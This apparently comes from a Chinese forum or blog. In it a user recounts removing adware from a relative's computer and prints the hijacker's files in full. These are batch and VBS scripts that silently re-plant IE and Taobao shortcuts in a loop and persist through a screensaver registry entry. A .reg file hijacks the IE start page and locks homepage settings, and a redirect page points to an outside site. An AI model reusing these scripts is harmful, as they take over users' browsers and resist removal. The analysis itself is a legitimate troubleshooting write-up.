小姨的电脑桌面上多了IE和淘宝购物两个快捷方式，且无法删除。
我教她用360修复，IE修复专家等软件，都试过了。可重启后又会出现。那个IE只是一个快捷方式。指一个什么网站的我记不清了。是指向system目录中的.url文件。后来我把那个文件修改成了explorer.exe了。但那个淘宝购物还是无法删除
今天又仔细检查了一下。发现HKCU\Control Panel\Desktop目录中有个C:\WINDOWS\system32\ycze.scr 。我在桌面上删除了两个图标后。手工运行ycze.scr 文件[屏幕保护程序]
果然桌面上又出现了那两个快捷方式的图标。
注册表删除SCRNSAVE.EXE项，
再手工删除ycze.scr文件。打完收工。。。
再分析发现还有好几个文件呢。
yexrscr.bat
内容如下：
程序代码@echo off
copy "Internet Explorer.lnk" "%userprofile%\桌面\Internet Explorer.lnk" /y
copy "Internet Explorer.lnk" "%userprofile%\「开始」菜单\Internet Explorer.lnk" /y
copy "Internet Explorer.lnk" "%userprofile%\「开始」菜单\程序\Internet Explorer.lnk" /y
copy "Internet Explorer.lnk" "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\启动 Internet Explorer 浏览器.lnk" /y
copy "Internet Explorer.lnk" "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\Internet Explorer.lnk" /y
copy "baobao.lnk" "%userprofile%\桌面\淘宝购物.lnk" /y
del "%userprofile%\桌面\IEXPLORE.lnk"
del "%userprofile%\桌面\IEXPLOREr.lnk"
del "%userprofile%\桌面\Internet Explorer.lnk"
del "%userprofile%\桌面\Internet.lnk"
del "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\Internet Explorer.lnk"
del "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\启动 Internet Explorer 浏览器.lnk"
@reg add "HKEY_CURRENT_USER\Control Panel\desktop" /v "SCRNSAVE.EXE" /t reg_sz /d C:\WINDOWS\system32\ycze.scr /f
@reg add "HKEY_CURRENT_USER\Control Panel\desktop" /v "ScreenSaveActive" /t reg_sz /d 1 /f
@reg add "HKEY_CURRENT_USER\Control Panel\desktop" /v "ScreenSaveTimeOut" /t reg_sz /d 60 /f
yxfgscr.vbs 内容如下：
程序代码Set a = Wscript.CreateObject("Wscript.Shell")
Do While True
a.run "yexrscr.bat",0
WScript.Sleep 6000
Loop
ybhtxowa.vbs
程序代码createobject("wscript.shell").run "ybhtaiwcb.bat",0
ybhtsert.reg
程序代码Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Start Page"="http://www.net.cn.jiemei.xpdao.cn/blankblankblankblankblankblankblankblankblankblank.htm"
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"HomePage"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu]
"{871C5380-42A0-1069-A2EA-08002B30309D}"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel]
"{871C5380-42A0-1069-A2EA-08002B30309D}"=dword:00000001
[HKEY_CLASSES_ROOT\lnkfile]
"IsShortcut"=-
ybhtaiwcb.bat
程序代码@echo off
start ybhtzser.htm
regedit /s ybhtsert.reg
start ybhteiala.vbs
copy "Internet Explorer.lnk" "%userprofile%\桌面\Internet Explorer.lnk" /y
copy "Internet Explorer.lnk" "%userprofile%\「开始」菜单\Internet Explorer.lnk" /y
copy "Internet Explorer.lnk" "%userprofile%\「开始」菜单\程序\Internet Explorer.lnk" /y
copy "Internet Explorer.lnk" "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\启动 Internet Explorer 浏览器.lnk" /y
copy "Internet Explorer.lnk" "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\Internet Explorer.lnk" /y
copy "baobao.lnk" "%userprofile%\桌面\淘宝购物.lnk" /y
del "%userprofile%\桌面\IEXPLORE.lnk"
del "%userprofile%\桌面\IEXPLOREr.lnk"
del "%userprofile%\桌面\Internet Explorer.lnk"
del "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\Internet Explorer.lnk"
del "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\启动 Internet Explorer 浏览器.lnk"
@reg add "HKEY_CURRENT_USER\Control Panel\desktop" /v "SCRNSAVE.EXE" /t reg_sz /d C:\WINDOWS\system32\ycze.scr /f
@reg add "HKEY_CURRENT_USER\Control Panel\desktop" /v "ScreenSaveActive" /t reg_sz /d 1 /f
@reg add "HKEY_CURRENT_USER\Control Panel\desktop" /v "ScreenSaveTimeOut" /t reg_sz /d 60 /f
exit
ybhteiala.vbs
程序代码Set a = Wscript.CreateObject("Wscript.Shell")
Do While True
a.run "ybhtntexa.bat",0
WScript.Sleep 6000
Loop
Do While True
a.run "ybhtntexa.bat",0
WScript.Sleep 6000
Loop
ybhtzser.htm
程序代码<meta HTTP-EQUIV=refresh Content='0;url=http://www.sokeke.cn/admin123/css/index1.htm'>
这一看大家都明白了吧。呵呵 。
